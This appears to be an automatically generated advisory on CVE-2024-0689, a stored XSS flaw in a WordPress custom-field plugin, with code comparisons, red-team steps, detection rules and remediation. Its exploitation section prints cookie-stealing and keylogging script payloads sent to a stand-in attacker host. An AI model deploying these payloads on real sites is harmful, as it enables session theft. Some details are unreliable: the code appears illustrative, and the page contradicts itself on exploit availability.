CVE-2024-0689
Executive Summary
CVE-2024-0689 is a Stored Cross-Site Scripting (XSS) vulnerability in the Custom Field Suite WordPress plugin, affecting all versions up to and including 2.6.4. The flaw resides in the meta import functionality, where insufficient input sanitization and output escaping on meta values allow authenticated attackers with administrator-level permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is exploitable only on multi-site installations or where unfiltered_html has been disabled. With a CVSS score of 4.4 (Medium), the risk is elevated in shared hosting or multi-tenant WordPress environments. No public exploit code or patch is currently available, making proactive detection and mitigation critical.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The Custom Field Suite plugin is distributed via the official WordPress plugin repository and is commonly used to manage custom fields. Since no patch exists, site administrators must consider removing or disabling the plugin until a fix is released. The lack of vendor response increases supply chain risk, as unpatched installations remain vulnerable to stored XSS attacks.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L
- Base Score: 4.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) – requires admin access
- User Interaction: Required (UI:R) – victim must visit injected page
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. Exploitation requires admin credentials, but in multi-site environments, a compromised admin account can lead to widespread XSS across all subsites. The low EPSS score (0.0%) suggests limited active exploitation, but the lack of a patch increases long-term risk.
Deep Dive & Mechanics
The vulnerability exists in the meta import functionality of the Custom Field Suite plugin. When importing meta values (e.g., via CSV or manual input), the plugin fails to properly sanitize and escape the data before storing it in the database. Specifically, the update_post_meta() function is called without applying sanitize_text_field() or esc_html() on the meta value. When the meta value is later rendered on a page (e.g., via get_post_meta() and echo), the injected JavaScript executes in the context of the victim’s browser.
Attack Flow:
- Attacker gains admin access to a WordPress multi-site installation.
- Attacker navigates to the Custom Field Suite meta import page.
- Attacker injects a payload like
<script>alert('XSS')</script>into a meta value field. - The payload is stored in the
wp_postmetatable without sanitization. - When any user (including lower-privileged users) views a page that displays that meta value, the script executes.
Root Cause: Lack of input validation and output escaping on meta values during import and display.
Vulnerable vs. Patched Code
Vulnerable Code (custom-field-suite/includes/field.php):
function import_meta($post_id, $meta_key, $meta_value) {
// No sanitization on $meta_value
update_post_meta($post_id, $meta_key, $meta_value);
}
Patched Code (hypothetical fix):
function import_meta($post_id, $meta_key, $meta_value) {
// Sanitize and escape the meta value
$sanitized_value = sanitize_text_field($meta_value);
update_post_meta($post_id, $meta_key, $sanitized_value);
}
Output Escaping (in template):
// Vulnerable
echo get_post_meta($post_id, 'custom_field', true);
// Patched
echo esc_html(get_post_meta($post_id, 'custom_field', true));
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Admin credentials on a WordPress multi-site installation.
- Custom Field Suite plugin version <= 2.6.4.
unfiltered_htmlcapability disabled for administrators (default on multi-site).
Step-by-Step Exploit:
- Log in as an admin.
- Navigate to Custom Fields > Tools > Import.
- In the meta value field, enter a payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Click Import.
- The payload is stored. Any user viewing a page that displays this meta value will trigger the XSS.
Alternative Payload (keylogger):
<script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for admin-level imports of meta values containing
<script>oronerrorattributes. - Use WAF rules to block suspicious meta value patterns.
Hardening:
- Disable the Custom Field Suite plugin until a patch is available.
- Restrict admin access to trusted users only.
- Enable
unfiltered_htmlonly for super admins (not recommended for multi-site). - Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- File:
wp-content/plugins/custom-field-suite/includes/field.php(vulnerable version) - Database Entry:
wp_postmetarows withmeta_valuecontaining<script>tags or JavaScript event handlers. - Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
- Logs: WordPress audit logs showing meta imports by admin users with unusual payloads.
Detection Engineering
YARA Rule
rule CVE_2024_0689_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Custom Field Suite meta values"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-0689"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$event_handler = /on\w+\s*=\s*['\"][^'\"]*['\"]/is
condition:
any of them
}
Sigma Rule
title: Custom Field Suite Stored XSS via Meta Import
id: 8a3f7c2e-9b1d-4e5f-8c7a-2d3e4f5a6b7c
status: experimental
description: Detects admin-level meta imports containing XSS payloads in Custom Field Suite
author: Valters IT
logsource:
product: wordpress
service: audit
detection:
selection:
event: "meta_import"
user_role: "administrator"
meta_value|contains:
- "<script"
- "onerror="
- "onload="
condition: selection
falsepositives:
- Legitimate use of JavaScript in meta fields (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0689 Custom Field Suite Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=cfs_import"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete the Custom Field Suite plugin until a patch is released.
- Restrict admin access – Limit admin accounts to only trusted users.
- Audit existing meta values – Scan
wp_postmetafor suspicious entries and remove them.
Long-Term Fix:
- Apply input sanitization (
sanitize_text_field()) and output escaping (esc_html()) to all meta import and display functions. - Implement a Content Security Policy (CSP) to block inline scripts.
Workaround:
- If the plugin is critical, consider using a different custom field plugin (e.g., Advanced Custom Fields) that properly sanitizes input.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.